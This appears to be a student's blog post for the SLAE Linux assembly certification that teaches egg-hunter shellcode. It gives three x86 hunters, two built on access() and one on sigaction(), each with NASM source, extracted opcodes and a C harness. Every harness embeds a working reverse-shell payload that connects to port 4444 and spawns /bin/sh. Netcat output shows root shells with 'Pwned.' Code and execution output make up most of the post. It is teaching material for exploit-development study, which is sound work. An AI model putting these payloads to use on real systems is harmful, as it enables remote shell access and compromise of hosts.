Egg Hunting
Definition. Following the fantastic document created by Skape:
It’s primarily useful for exploitation. Some exploit vectors only allow the attacker a very small amount of data to use when accomplishing their buffer overflow. For instance, the Internet Explorer object type vulnerability and the Subversion date parsing vulnerability are both examples of overflows that allow for a limited amount of data to be written and used as a payload at a deterministic location. However, both exploits allow for the attacker to place a large payload somewhere else in the address space of the process, though the location that it is stored at is indeterminate. In the case of the object type vulnerability, an attacker can place their egg somewhere else in the HTML file, which in the end is translated into a heap allocated buffer that stores the contents of the page being processed.
In simple words, the Egg Hunting technique allows us to create a relatively short shellcode (~ 30/40), whose task is to search the memory (stack, heap, ...) in search of the original, long shellcode, which in normal conditions could not be used due to space restriction.
To this end, so-called tags are used, which is a string that will "point" to the beginning of the actual shellcode that immediately follows them.
Due to the speed of today's processors, the memory search process is rapid and almost imperceptible during exploitation.
In this article, I will try to describe the process of creating three different Egg Hunters listed in the Skapes document, namely:
- access #1
- access #2
- sigaction
In every example, as shellcode we will use a reverse shell written in Assignment number 2, based on the execve-stack technique.
Access #1
The simplest idea of egg hunting can be understood on a practical example. We'll start with the first method described by Skape using access() system call. It is used to verify whether a given process has permissions in the system to access the file on the filesystem.
As arguments, he takes only one value (the second in our case can be zero):
int (access const char * pathname, int mode);
It is also very important that the method does not perform any write operations, which could be very dangerous when searching the entire memory for the tag.
Here is the full Egg Hunter code, with explanatory comments.
; Filename: egghunting.nasm
; Author: Jakub Heba
; Purpose: SLAE Course & Exam
global _start
section .text
_start:
mov ebx, 0x50905090 ; Our TAG
xor ecx, ecx ; ECX cleaning
mul ecx ; EAX and EDX cleaning
loop:
or dx, 0xfff ; 4096 bytes for iteration
iteration:
inc edx ; EDX is incremented
pusha ; Pushing all general purpose registers on the stack, to prevent eg. EAX value from changing during syscall
lea ebx, [edx+0x4] ; Putting EDX + 4 bytes into the EBX, for preparing to the syscall (EBX is the first argument)
mov al, 0x21 ; syscall defining (#define __NR_access 33)
int 0x80 ; syscall execution, return value stored in EAX
cmp al, 0xf2 ; comparing the return value with 0xf2, which means, that if syscall returns an EFAULT error, Zero Flag is set
popa ; popping all general purpose registers from the stack
jz loop ; If comparing returns True (EFAULT error, ZF set), next 4096 bytes of memory, and next iteration
; Here, we are looking for the TAG in this part of memory
cmp [edx], ebx ; Check, that EDX points to our TAG value, and set ZF, if true
jnz iteration ; If ZF is not set, JMP to the INC instruction and repeat the process
cmp [edx+0x4], ebx ; Check, that we have our second TAG value, to prevent from mistakes
jnz iteration ; If ZF is not set, JMP to the INC instruction and repeat the process, otherwise, eggs are found
jmp edx ; JMP directly to the right Shellcode
After saving, we compile, link, and put the resulting shellcode into a wrapper written in the C language.
$ ./compile.sh egghunting
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ objdump -d ./egghunting|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"
Content of the shellcode.c file. To facilitate the "editing" of the tag, I placed it in a variable, which then occurs once in the shellcode we have just generated, and twice in the "large" shellcode, as a kind of marker "SHELLCODE BEGINS AFTER THE TAGS".
#include<stdio.h>
#include<string.h>
#define TAG "\x90\x50\x90\x50"
// Our short Egg Hunter with one TAG:
unsigned char egghunter[] = \
"\xbb" TAG "\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
// Large shellcode with 2x TAGs:
unsigned char code[] = \
TAG TAG \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x56\xb9\x84\x05\x05\x06\x81\xe9\x05\x05\x05\x05\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xf6\x56\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egghunter;
ret();
}
Compilation and execution of Egg Hunter.
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Egghunter Length: 39
Shellcode Length: 110
Second terminal:
$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 45794)
whoami
root
Pwned.
Access #2
Another example is also based on access() system call, but its implementation is slightly more optimal, which means we are able to save 4 bytes in length.
Full code with a detailed description of each line.
; Filename: egghunting.nasm
; Author: Jakub Heba
; Purpose: SLAE Course & Exam
global _start
section .text
_start:
xor edx, edx ; EDX cleaning
loop:
or dx, 0xfff ; 4096 bytes for iteration
iteration:
inc edx ; EDX is incremented
lea ebx, [edx+0x4] ; Putting EDX + 4 bytes into the EBX, for preparing to the syscall (EBX is the first argument)
push byte 0x21 ; pushing value 33 for syscall defining
pop eax ; syscall defining (#define __NR_access 33)
int 0x80 ; syscall execution
cmp al, 0xf2 ; comparing the return value with 0xf2, which means, that if syscall returns an EFAULT error, Zero Flag is set
jz loop ; If comparing returns True (EFAULT error, ZF set), next 4096 bytes of memory, and next iteration
mov eax, 0xbeefbeef ; Our TAG
mov edi, edx ; Moving EDX into EDI
scasd ; Comparing value in EDI with DWORD in EAX register, set ZF if True
jnz iteration ; If False (ZF not set), JMP to the INC and repeat the process
scasd ; Second comparing, the same story as above
jnz iteration ; If False (ZF not set), JMP to the INC and repeat the process, otherwise, eggs are found
jmp edi ; JMP directly to the right Shellcode
After saving, we compile, link, and put the resulting shellcode into a wrapper written in the C language.
$ ./compile.sh egghunting
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ objdump -d ./egghunting|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\xef\xbe\xef\xbe\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
Content of the shellcode.c file. To facilitate the "editing" of the tag, I placed it in a variable, which then occurs once in the shellcode we have just generated, and twice in the "large" shellcode, as a kind of marker "SHELLCODE BEGINS AFTER THE TAGS".
#include<stdio.h>
#include<string.h>
#define TAG "\xef\xbe\xef\xbe"
// Our short Egg Hunter with one TAG:
unsigned char egghunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8" TAG "\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
// Large shellcode with 2x TAGs:
unsigned char code[] = \
TAG TAG \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x56\xb9\x84\x05\x05\x06\x81\xe9\x05\x05\x05\x05\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xf6\x56\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egghunter;
ret();
}
Compilation and execution of Egg Hunter.
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Egghunter Length: 35
Shellcode Length: 110
Second terminal:
$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 45795)
id
uid=0(root) gid=0(root) groups=0(root)
Pwned.
Sigaction
The last technique will be to use sigaction() call system. This method is the most optimal (about 3 times faster) and 5 bytes shorter (30 bytes in length).
It gains a clear acceleration by being able to process more than one address at a time (which was a restriction for the first two methods).
Following the Skape document:
The sigaction approach allows multiple addresses tobe validated at a single time by taking advantage of the kernel’s verify area routine which is used, for instance, on structures that have been passed in from user-mode to a system call.
[..]
The goal here will be to use the act structure as the pointer for validating alarger region of memory than a single byte (as was the case with the access system call)
Finding the system call identifier:
$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep sigaction
#define __NR_sigaction 67
Verification of required arguments:
$ man 2 sigaction | grep "int sigaction"
int sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact);
Full Egg Hunter code, with comments to understand how this method works.
; Filename: egghunting.nasm
; Author: Jakub Heba
; Purpose: SLAE Course & Exam
global _start
section .text
_start:
loop:
or cx, 0xfff ; 4096 bytes for iteration
iteration:
inc ecx ; EDX is incremented
push 0x43 ; pushing value 67 for syscall defining
pop eax ; syscall defining (#define __NR_sigaction 67)
int 0x80 ; syscall execution
cmp al, 0xf2 ; comparing the return value with 0xf2, which means, that if syscall returns an EFAULT error, Zero Flag is set
jz loop ; If comparing returns True (EFAULT error, ZF set), next 4096 bytes of memory, and next iteration
mov eax, 0xbeefbeef ; Our TAG
mov edi, ecx ; Moving ECX to EDI
scasd ; Comparing value in EDI with DWORD in EAX register, set ZF if True
jnz iteration ; If False (ZF not set), JMP to the INC and repeat the process
scasd ; Second comparing, the same story as above
jnz iteration ; If False (ZF not set), JMP to the INC and repeat the process, otherwise, eggs are found
jmp edi ; JMP directly to the right Shellcode
After saving, we compile, link, and put the resulting shellcode into a wrapper written in the C language.
$ ./compile.sh egghunting
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ objdump -d ./egghunting|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\xef\xbe\xef\xbe\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
Content of the shellcode.c file. To facilitate the "editing" of the tag, I placed it in a variable, which then occurs once in the shellcode we have just generated, and twice in the "large" shellcode, as a kind of marker "SHELLCODE BEGINS AFTER THE TAGS".
#include<stdio.h>
#include<string.h>
#define TAG "\xef\xbe\xef\xbe"
// Our short Egg Hunter with one TAG:
unsigned char egghunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8" TAG "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
// Large shellcode with 2x TAGs:
unsigned char code[] = \
TAG TAG \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x31\xf6\x56\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb0\x66\xb3\x03\x56\xb9\x84\x05\x05\x06\x81\xe9\x05\x05\x05\x05\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb0\x3f\x89\xd3\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\xb0\x0b\x31\xf6\x56\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
main()
{
printf("Egghunter Length: %d\n", strlen(egghunter));
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())egghunter;
ret();
}
Compilation and execution of Egg Hunter.
$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ./shellcode
Egghunter Length: 30
Shellcode Length: 110
Second terminal:
$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 45796)
uname -a
Linux ubuntu 3.5.0-51-generic #76-Ubuntu SMP Thu May 15 21:19:44 UTC 2014 i686 i686 i686 GNU/Linux
Pwned.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-1524